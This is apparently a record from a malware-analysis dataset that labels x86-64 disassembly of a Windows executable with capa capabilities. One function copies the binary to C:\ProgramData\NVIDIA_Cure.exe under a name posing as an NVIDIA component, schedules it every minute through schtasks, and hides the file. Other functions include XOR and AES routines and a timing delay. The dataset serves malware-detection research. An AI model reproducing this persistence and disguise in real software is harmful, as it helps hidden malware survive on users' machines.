joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140032d10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x2150]
mov eax, 0x2250
call fcn.14005c970
sub rsp, rax
mov rax, qword [0x1400dc160]
xor rax, rsp
mov qword [rbp + 0x2140], rax
mov rbx, r8
mov rsi, rdx
call fcn.140010ef0
xor r14d, r14d
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x28], r14
mov rcx, rax
xor r9d, r9d
mov dword [rsp + 0x20], 0x1a4
mov r8, rsi
call fcn.14001a4b0
mov edi, eax
test eax, eax
js 0x140032e68
lea rcx, [rsp + 0x70]
call fcn.14001a3b0
lea rdx, [0x1400a8560]
mov ecx, edi
call fcn.140092078
lea rcx, [rbp + 0x140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea edx, [r14 + 1]
lea rcx, [rbp + 0x140]
mov qword [rsp + 0x40], 0x2000
mov qword [rsp + 0x50], rcx
mov r9, rax
lea rcx, [rbp + 0x140]
mov qword [rsp + 0x48], r14
mov r8d, 0x2000
mov qword [rsp + 0x58], r14
mov byte [rsp + 0x68], r14b
mov qword [rsp + 0x60], r14
call fcn.140084c7c
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rdx
lea rcx, [rdx - 1]
add rcx, rax
mov qword [rsp + 0x48], rcx
cmp rax, qword [rsp + 0x40]
jae 0x140032e17
mov byte [rax + rdx], r14b
inc qword [rsp + 0x48]
mov byte [rsp + 0x68], 1
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140030840
call fcn.140010ef0
mov rcx, rax
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov r8d, edi
call fcn.14001a660
lea rcx, [rsp + 0x70]
call fcn.14001a3b0
mov ecx, dword [rbx + 0x50]
test ecx, ecx
je 0x140032e6c
call fcn.140028990
mov r8d, dword [rbx + 0x58]
lea rcx, str._s:_d:__s_n
mov r9, rax
mov rdx, rsi
call fcn.1400357a0
xor al, al
jmp 0x140032e74
cmp word [rbx + 0xe], 3
sete al
mov rcx, qword [rbp + 0x2140]
xor rcx, rsp
call fcn.14005c600
lea r11, [rsp + 0x2250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x140036650
Capabilities:
Create thread
Resume thread

Disassembly:
mov r8, rcx
add rcx, 0x20
jmp fcn.14000fe50
Function at 0x14003bd10
Capabilities:
Copy file
Create process on windows
Schedule task via schtasks
Set file attributes

Disassembly:
push rdi
sub rsp, 0x490
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x4a0], rbx
mov rbx, rdx
mov edi, ecx
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140039660
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, str.C:ProgramDataNVIDIA_Cure.exe
lea rcx, [rsp + 0x40]
call fcn.140038890
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov r8d, 1
lea rdx, str.C:ProgramDataNVIDIA_Cure.exe
test byte [rsp + rcx + 0x50], 6
mov rcx, qword [rbx]
je 0x14003bdc6
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
lea r9, str._Create__SC_MINUTE__MO_1__TN_NVIDIACure_Host_Process
lea r8, str.schtasks.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 7
lea rcx, str.C:ProgramDataNVIDIA_Cure.exe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor ecx, ecx
call fcn.140083078
int3
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
lea r9, str._Create__SC_MINUTE__MO_1__TN_NVIDIACure_Host_Process__TR_C:ProgramDataNVIDIA_Cure.exe__F
lea r8, str.schtasks.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 7
lea rcx, str.C:ProgramDataNVIDIA_Cure.exe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r8, rbx
mov edx, edi
lea rcx, [rsp + 0x150]
call fcn.140024b80
nop
lea rcx, [rsp + 0x150]
call fcn.140025820
mov ebx, eax
lea rcx, [rsp + 0x150]
call fcn.140024de0
nop
lea rcx, [rsp + 0xf0]
call fcn.140038fc0
nop
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0xf0]
call fcn.14005ad74
nop
mov eax, ebx
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x490
pop rdi
ret

Function at 0x14003bed0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
mov dword [0x1400ded30], eax
call fcn.140025b80
add rsp, 0x58
ret
Function at 0x14003c330
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1a8
mov rax, qword [0x1400dc160]
xor rax, rsp
mov qword [rsp + 0x190], rax
movsxd r13, r9d
mov r12d, edx
mov qword [rsp + 0x20], r8
mov r14, rcx
cmp r13d, 0xc8
jne 0x14003c373
lea ebp, [r13 - 0x40]
jmp 0x14003c37d
mov ebp, 0x64
sub ebp, r13d
add ebp, ebp
mov eax, ebp
lea rcx, [rsp + 0x30]
cdq
mov r8d, 0xc8
and edx, 7
add eax, edx
xor edx, edx
sar eax, 3
movsxd rdi, eax
call fcn.14007bf60
xor r15d, r15d
mov rsi, rdi
cmp r12d, ebp
jl 0x14003c494
movsxd rbx, ebp
nop
mov rax, r15
test edi, edi
jle 0x14003c449
cmp edi, 4
jb 0x14003c449
lea ecx, [rdi - 1]
movsxd rdx, ecx
lea r8, [rsp + 0x30]
lea rcx, [r14 + rdx*8]
lea r8, [r8 + rdx*8]
lea rdx, [rsp + 0x30]
cmp rdx, rcx
ja 0x14003c3e6
cmp r8, r14
jae 0x14003c449
mov edx, edi
and edx, 0x80000003
jge 0x14003c3f7
dec edx
or edx, 0xfffffffc
inc edx
mov ecx, edi
sub ecx, edx
mov rdx, r14
movsxd r8, ecx
lea rcx, [rsp + 0x30]
sub rdx, rcx
nop dword [rax]
movdqu xmm0, xmmword [rsp + rax*8 + 0x30]
lea rcx, [rdx + rax*8]
movdqu xmm1, xmmword [rsp + rcx + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax*8 + 0x30], xmm1
movdqu xmm0, xmmword [rsp + rax*8 + 0x40]
movdqu xmm1, xmmword [rsp + rcx + 0x40]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax*8 + 0x40], xmm1
add rax, 4
cmp rax, r8
jl 0x14003c410
cmp rax, rsi
jge 0x14003c476
lea rcx, [rsp + 0x30]
mov r8, r14
sub r8, rcx
nop dword [rax]
lea rcx, [r8 + rax*8]
mov rdx, qword [rsp + rcx + 0x30]
xor qword [rsp + rax*8 + 0x30], rdx
inc rax
cmp rax, rsi
jl 0x14003c460
mov edx, 0x18
lea rcx, [rsp + 0x30]
call fcn.14003c5b0
sub r12d, ebp
add r14, rbx
cmp r12d, ebp
jge 0x14003c3b0
movsxd rbx, r12d
lea rcx, [rsp + 0x100]
mov r8, rbx
mov rdx, r14
call fcn.14007ba40
mov eax, ebp
mov byte [rsp + rbx + 0x100], 1
inc r12d
lea rcx, [rsp + 0x100]
sub eax, r12d
xor edx, edx
movsxd r8, eax
movsxd rax, r12d
add rcx, rax
call fcn.14007bf60
lea eax, [rbp - 1]
movsxd rcx, eax
or byte [rsp + rcx + 0x100], 0x80
mov ecx, r15d
test edi, edi
jle 0x14003c545
cmp edi, 4
jb 0x14003c545
mov eax, edi
and eax, 0x80000003
jge 0x14003c4fc
dec eax
or eax, 0xfffffffc
inc eax
sub edi, eax
movsxd rax, edi
movdqu xmm0, xmmword [rsp + r15*8 + 0x30]
add ecx, 4
movdqu xmm1, xmmword [rsp + r15*8 + 0x100]
pxor xmm1, xmm0
movdqu xmmword [rsp + r15*8 + 0x30], xmm1
movdqu xmm0, xmmword [rsp + r15*8 + 0x40]
movdqu xmm1, xmmword [rsp + r15*8 + 0x110]
pxor xmm1, xmm0
movdqu xmmword [rsp + r15*8 + 0x40], xmm1
add r15, 4
cmp r15, rax
jl 0x14003c501
movsxd r8, ecx
cmp r8, rsi
jge 0x14003c565
nop dword [rax]
mov rax, qword [rsp + r8*8 + 0x100]
xor qword [rsp + r8*8 + 0x30], rax
inc r8
cmp r8, rsi
jl 0x14003c550
mov edx, 0x18
lea rcx, [rsp + 0x30]
call fcn.14003c5b0
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov r8, r13
call fcn.14007ba40
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.14005c600
add rsp, 0x1a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14003d020
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x1400dc160]
xor rax, rsp
mov qword [rbp + 0x47], rax
movups xmm0, xmmword [rcx]
mov rdi, rcx
xor r8d, r8d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp - 0x39]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rbp - 0x79], xmm1
movups xmm1, xmmword [rcx + 0x30]
lea rcx, [rsp + 0x20]
movups xmmword [rbp - 0x69], xmm0
movups xmmword [rbp - 0x59], xmm1
call fcn.14003d1e0
mov r8d, 1
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.14003d1e0
mov ebx, 2
lea rdx, [rbp - 0x39]
mov r8d, ebx
lea rcx, [rbp + 7]
call fcn.14003d1e0
lea r8d, [rbx + 1]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.14003d1e0
lea r8d, [rbx + 2]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.14003d1e0
lea r8d, [rbx + 3]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.14003d1e0
lea r8d, [rbx + 4]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.14003d1e0
lea r8d, [rbx + 5]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.14003d1e0
lea r8d, [rbx + 6]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.14003d1e0
lea r8d, [rbx + 7]
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x39]
call fcn.14003d1e0
xor r9d, r9d
lea rcx, [rbp - 0x4d]
lea rax, [rdi + 0x3c]
lea edx, [rbx + 0xe]
cmp rdi, rcx
ja 0x14003d136
lea rcx, [rsp + 0x20]
cmp rax, rcx
jae 0x14003d182
lea r8, [rsp + 0x20]
mov r9d, edx
sub r8, rdi
lea rax, [rsp + 0x20]
sub rax, rdi
lea rcx, [rdi + 0x10]
nop dword [rax]
movdqu xmm0, xmmword [rcx - 0x10]
movdqu xmm1, xmmword [r8 + rcx - 0x10]
movdqu xmm2, xmmword [rax + rcx]
lea rcx, [rcx + 0x20]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
movdqu xmm0, xmmword [rcx - 0x20]
pxor xmm2, xmm0
movdqu xmmword [rcx - 0x20], xmm2
sub rbx, 1
jne 0x14003d150
movsxd rcx, r9d
cmp rcx, rdx
jge 0x14003d1b0
lea r8, [rsp + 0x20]
sub r8, rdi
lea rax, [rdi + rcx*4]
sub rdx, rcx
nop dword [rax]
mov ecx, dword [rax + r8]
xor dword [rax], ecx
lea rax, [rax + 4]
sub rdx, 1
jne 0x14003d1a0
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14005c600
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14004f390
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
pshufd xmm0, xmmword [rdx], 0x55
lea rdi, [0x1400abc30]
mov r11, rcx
movd eax, xmm0
pshufd xmm0, xmmword [rdx], 0xff
mov rbx, rdx
mov r9d, eax
movdqa xmm5, xmmword [r11]
shr rax, 0x10
movzx r8d, al
mov eax, r9d
shr rax, 0x18
pslldq xmm5, 4
movdqa xmm4, xmm5
pslldq xmm5, 4
movzx r10d, byte [r8 + rdi]
movzx eax, byte [rax + rdi]
pxor xmm4, xmmword [r11]
shl eax, 8
or r10d, eax
mov eax, r9d
shr rax, 8
movzx ecx, al
shl r10d, 8
movzx eax, byte [rcx + rdi]
or r10d, eax
movzx eax, r9b
shl r10d, 8
movzx ecx, byte [rax + rdi]
or r10d, ecx
movd eax, xmm0
mov edx, eax
shr rax, 0x10
movzx ecx, al
mov eax, edx
shr rax, 0x18
movd xmm3, r10d
movzx r8d, byte [rcx + rdi]
movzx eax, byte [rax + rdi]
shl eax, 8
or r8d, eax
mov eax, edx
shr rax, 8
movzx ecx, al
shl r8d, 8
movzx eax, byte [rcx + rdi]
or r8d, eax
movzx eax, dl
shl r8d, 8
movzx ecx, byte [rax + rdi]
mov eax, r10d
ror eax, 8
or r8d, ecx
xor eax, 2
mov ecx, r8d
ror ecx, 8
xor ecx, 2
movd xmm0, r8d
movd xmm2, eax
punpckldq xmm3, xmm0
movdqa xmm0, xmm5
movd xmm1, ecx
pxor xmm0, xmm4
punpckldq xmm2, xmm1
punpckldq xmm3, xmm2
pslldq xmm5, 4
pxor xmm0, xmm5
pshufd xmm1, xmm3, 0xff
pxor xmm1, xmm0
pshufd xmm0, xmm1, 0x55
movd eax, xmm0
movdqa xmmword [r11], xmm1
mov edx, eax
shr rax, 0x10
movzx ecx, al
mov eax, edx
shr rax, 0x18
movzx r9d, byte [rcx + rdi]
movzx eax, byte [rax + rdi]
shl eax, 8
or r9d, eax
movdqa xmm5, xmmword [rbx]
mov eax, edx
shr rax, 8
movzx ecx, al
pshufd xmm0, xmm1, 0xff
shl r9d, 8
pslldq xmm5, 4
movzx eax, byte [rcx + rdi]
movdqa xmm4, xmm5
pxor xmm4, xmmword [rbx]
or r9d, eax
movzx eax, dl
shl r9d, 8
pslldq xmm5, 4
movzx ecx, byte [rax + rdi]
movd eax, xmm0
or r9d, ecx
mov edx, eax
shr rax, 0x10
movzx ecx, al
mov eax, edx
shr rax, 0x18
movd xmm3, r9d
movzx r8d, byte [rcx + rdi]
movzx eax, byte [rax + rdi]
shl eax, 8
or r8d, eax
mov eax, edx
shr rax, 8
movzx ecx, al
shl r8d, 8
movzx eax, byte [rcx + rdi]
or r8d, eax
movzx eax, dl
shl r8d, 8
movzx ecx, byte [rax + rdi]
mov rdi, qword [rsp + 0x10]
or r8d, ecx
mov eax, r8d
mov ecx, r9d
ror eax, 8
ror ecx, 8
movd xmm0, r8d
punpckldq xmm3, xmm0
movdqa xmm0, xmm5
movd xmm1, eax
pxor xmm0, xmm4
movd xmm2, ecx
punpckldq xmm2, xmm1
punpckldq xmm3, xmm2
pslldq xmm5, 4
pshufd xmm1, xmm3, 0xaa
pxor xmm0, xmm5
pxor xmm1, xmm0
movdqa xmmword [rbx], xmm1
mov rbx, qword [rsp + 8]
ret
Function at 0x1400592d0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
test rcx, rcx
je 0x1400593ad
push rbx
sub rsp, 0x40
mov rbx, rcx
cmp rcx, 0x64
jbe 0x14005933c
imul rax, rbx, 0xfffffffffffffff6
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x50], rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov rbx, rax
xor r8d, r8d
xor eax, eax
mov rcx, rbx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x40
pop rbx
ret
lea rcx, [rsp + 0x60]
movaps xmmword [rsp + 0x30], xmm6
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movss xmm6, dword [0x1400ac964]
nop
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x50]
xorps xmm1, xmm1
sub rax, qword [rsp + 0x58]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [rsp + 0x60]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
mulss xmm1, xmm6
mulss xmm1, xmm6
cvttss2si rax, xmm1
cmp rax, rbx
jb 0x140059360
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rbx
ret

Function at 0x14005ff8c
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14005ff9f
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.140060604
lea rdx, [0x1400d9508]
lea rcx, [rsp + 0x20]
call fcn.14007be78
int3

Function at 0x14006ab8c
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x1400e3908]
xor edx, edx
jmp fcn.14005ff8c

Function at 0x14006b57c
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x1400e3908]
jmp fcn.14005ff8c
Function at 0x140083078
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140082f03
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140082f03
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140082f03
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140082f03
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140082f03
cmp dword [rcx + 0x84], 0xe
jbe 0x140082f03
cmp dword [rcx + 0xf8], 0
je 0x140082f03
mov ecx, ebx
call fcn.140082fa4
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140082d80
cmp dword [rbp + 0x20], 0
je 0x140082f50
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140082f58
int3
xor r8d, r8d
xor edx, edx
jmp 0x140082e9c

Function at 0x14008ac44
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x14008ac64
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140085374
or eax, 0xffffffff
jmp 0x14008ac66
xor eax, eax
add rsp, 0x28
ret
Function at 0x14008ac6c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r10, [0x1400e4010]
mov r14, rdx
mov rax, r15
sar rax, 6
mov rdx, r15
and edx, 0x3f
mov rdi, r15
shl rdx, 6
mov r9, qword [r10 + rax*8]
mov r12, qword [r9 + rdx + 0x28]
test r8, r8
je 0x14008acd1
cmp byte [r14], 0xa
jne 0x14008acd1
mov rcx, r15
mov rax, r15
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r10 + rax*8]
or byte [rax + rcx + 0x38], 4
jmp 0x14008acf2
mov dl, byte [r9 + rdx + 0x38]
mov rcx, rdi
and dl, 0xfb
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r10 + rax*8]
mov byte [rax + rcx + 0x38], dl
lea rbp, [r14 + r8]
mov rsi, r14
mov rbx, r14
cmp r14, rbp
jae 0x14008ae4c
mov r13d, 1
mov al, byte [rsi]
cmp al, 0x1a
je 0x14008ae0c
cmp al, 0xd
je 0x14008ad26
mov byte [rbx], al
add rbx, r13
add rsi, r13
jmp 0x14008ae01
lea rax, [rsi + 1]
cmp rax, rbp
jae 0x14008ad4c
cmp byte [rax], 0xa
jne 0x14008ad3e
mov byte [rbx], 0xa
mov eax, 2
jmp 0x14008ad44
mov byte [rbx], 0xd
mov rax, r13
add rsi, rax
jmp 0x14008adfe
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, r13d
lea rdx, [rsp + 0x70]
mov rcx, r12
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14008adf4
cmp dword [rsp + 0x78], 0
je 0x14008adf4
mov rcx, rdi
lea r10, [0x1400e4010]
and ecx, 0x3f
mov rax, rdi
sar rax, 6
shl rcx, 6
mov rax, qword [r10 + rax*8]
test byte [rax + rcx + 0x38], 0x48
je 0x14008adc4
mov dl, byte [rsp + 0x70]
cmp dl, 0xa
je 0x14008add0
mov rcx, rdi
mov byte [rbx], 0xd
mov rax, rdi
and ecx, 0x3f
sar rax, 6
shl rcx, 6
mov rax, qword [r10 + rax*8]
mov byte [rax + rcx + 0x3a], dl
jmp 0x14008adfe
cmp byte [rsp + 0x70], 0xa
jne 0x14008add5
cmp rbx, r14
jne 0x14008add5
mov byte [rbx], 0xa
jmp 0x14008adfe
mov r8d, r13d
or rdx, 0xffffffffffffffff
mov ecx, r15d
call fcn.14008ac10
cmp byte [rsp + 0x70], 0xa
lea r10, [0x1400e4010]
je 0x14008ae01
jmp 0x14008adfb
lea r10, [0x1400e4010]
mov byte [rbx], 0xd
add rbx, r13
cmp rsi, rbp
jb 0x14008ad0b
jmp 0x14008ae4c
mov rcx, rdi
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r10 + rax*8]
mov dl, byte [rax + rcx + 0x38]
test dl, 0x40
jne 0x14008ae45
mov rax, rdi
or dl, 2
sar rax, 6
and edi, 0x3f
shl rdi, 6
mov rax, qword [r10 + rax*8]
mov byte [rax + rdi + 0x38], dl
jmp 0x14008ae4c
mov cl, byte [rsi]
mov byte [rbx], cl
add rbx, r13
sub rbx, r14
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14008ae6c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r11, [0x1400e4010]
mov r9, r15
mov rax, r15
sar rax, 6
and r9d, 0x3f
shl r9, 6
mov r14, rdx
mov rdi, r15
mov r10d, 0xa
mov rdx, qword [r11 + rax*8]
mov r12, qword [rdx + r9 + 0x28]
test r8, r8
je 0x14008aed8
cmp word [r14], r10w
jne 0x14008aed8
mov rcx, r15
mov rax, r15
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
or byte [rax + rcx + 0x38], 4
jmp 0x14008aef9
mov dl, byte [rdx + r9 + 0x38]
mov rcx, rdi
and dl, 0xfb
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
mov byte [rax + rcx + 0x38], dl
lea rbp, [r14 + r8*2]
mov rsi, r14
mov rbx, r14
cmp r14, rbp
jae 0x14008b0d2
mov ecx, 0xd
lea r13d, [rcx - 0xb]
movzx eax, word [rsi]
cmp ax, 0x1a
je 0x14008b090
cmp ax, cx
je 0x14008af35
mov word [rbx], ax
add rbx, r13
add rsi, r13
jmp 0x14008b029
lea rax, [rsi + 2]
cmp rax, rbp
jae 0x14008af5d
cmp word [rax], r10w
jne 0x14008af4f
mov word [rbx], r10w
mov eax, 4
jmp 0x14008af55
mov word [rbx], cx
mov rax, r13
add rsi, rax
jmp 0x14008b073
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
mov r8d, r13d
lea rdx, [rsp + 0x70]
mov rcx, r12
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14008b078
cmp dword [rsp + 0x80], 0
je 0x14008b078
mov rcx, rdi
lea r11, [0x1400e4010]
and ecx, 0x3f
mov rax, rdi
sar rax, 6
mov r10d, 0xa
shl rcx, 6
mov rax, qword [r11 + rax*8]
test byte [rax + rcx + 0x38], 0x48
je 0x14008b037
movzx eax, word [rsp + 0x70]
cmp ax, r10w
jne 0x14008afcf
mov word [rbx], r10w
jmp 0x14008b021
mov r8, rdi
mov word [rsp + 0x78], ax
mov r9, rdi
and r8d, 0x3f
sar r9, 6
mov ecx, 0xd
xor edx, edx
mov word [rbx], cx
shl r8, 6
mov rcx, qword [r11 + r9*8]
mov al, byte [rsp + rdx + 0x78]
add rcx, r8
mov byte [rcx + rdx + 0x3a], al
inc rdx
cmp rdx, r13
jl 0x14008aff0
mov rcx, rdi
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
mov byte [rax + rcx + 0x3c], r10b
add rbx, r13
mov ecx, 0xd
cmp rsi, rbp
jb 0x14008af15
jmp 0x14008b0d2
cmp word [rsp + 0x70], r10w
jne 0x14008b044
cmp rbx, r14
je 0x14008afc9
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14008ac10
mov r10d, 0xa
lea r11, [0x1400e4010]
cmp word [rsp + 0x70], r10w
je 0x14008b024
lea ecx, [r10 + 3]
mov word [rbx], cx
add rbx, r13
jmp 0x14008b029
mov ecx, 0xd
lea r11, [0x1400e4010]
mov word [rbx], cx
add rbx, r13
lea r10d, [rcx - 3]
jmp 0x14008b029
mov rcx, rdi
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
mov dl, byte [rax + rcx + 0x38]
test dl, 0x40
jne 0x14008b0c9
mov rax, rdi
or dl, r13b
sar rax, 6
and edi, 0x3f
shl rdi, 6
mov rax, qword [r11 + rax*8]
mov byte [rax + rdi + 0x38], dl
jmp 0x14008b0d2
movzx ecx, word [rsi]
mov word [rbx], cx
add rbx, r13
sub rbx, r14
sar rbx, 1
lea rax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14008d640
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14005c970
sub rsp, rax
mov rax, qword [0x1400dc160]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r14, rdx
mov rbx, rcx
call fcn.14008d098
xor esi, esi
movsxd r12, eax
cmp dword [rbx + 0x10], esi
jne 0x14008d694
mov rax, r14
jmp 0x14008d7ae
mov rax, qword [rbx]
mov rdi, r12
sub rax, qword [rbx + 8]
xor r8d, r8d
cqo
sar rdi, 6
sub rax, rdx
mov rbx, r12
sar rax, 1
and ebx, 0x3f
mov r15, rax
shl rbx, 6
lea rax, [0x140000000]
mov ecx, r12d
mov rdx, qword [rax + rdi*8 + 0xe4010]
mov rbp, r12
mov rdx, qword [rbx + rdx + 0x30]
call fcn.14008ac08
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rdi*8 + 0xe4010]
cmp r13, qword [rbx + rcx + 0x30]
je 0x14008d6fb
or rax, 0xffffffffffffffff
jmp 0x14008d7ae
mov rcx, rbp
mov qword [rsp + 0x20], rsi
sar rcx, 6
lea r9, [rsp + 0x30]
and ebp, 0x3f
lea rdx, [rsp + 0x40]
shl rbp, 6
mov r8d, 0x1000
mov rcx, qword [rax + rcx*8 + 0xe4010]
mov rcx, qword [rcx + rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14008d6f2
xor r8d, r8d
mov rdx, r14
mov ecx, r12d
call fcn.14008ac08
test rax, rax
js 0x14008d6f2
mov eax, dword [rsp + 0x30]
cmp r15, rax
jg 0x14008d6f2
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test r15, r15
je 0x14008d7a2
